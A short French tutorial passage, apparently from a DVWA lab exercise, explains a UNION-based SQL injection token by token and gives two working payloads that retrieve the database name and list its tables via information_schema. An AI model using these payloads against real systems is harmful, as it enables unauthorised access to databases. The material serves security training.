En utilisant des injections SQL, nous allons :
' UNION SELECT database(),2 FROM information_schema.tables #
‘
Rompre la requête initiale
UNION SELECT
Forcer l’application à inclure les résultats d’une nouvelle requête dans le retour de la requête d'origine
database()
Récupérer le nom de la base de données
2
Maintenir le nombre correct de colonnes dans la requête injectée
information_schema.tables
contient une liste de toutes les tables de la base de données (en MySQL)
#
Ignorer le reste de la requête initiale.
' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema = 'dvwa' #
table_name
Retourner le nom des tables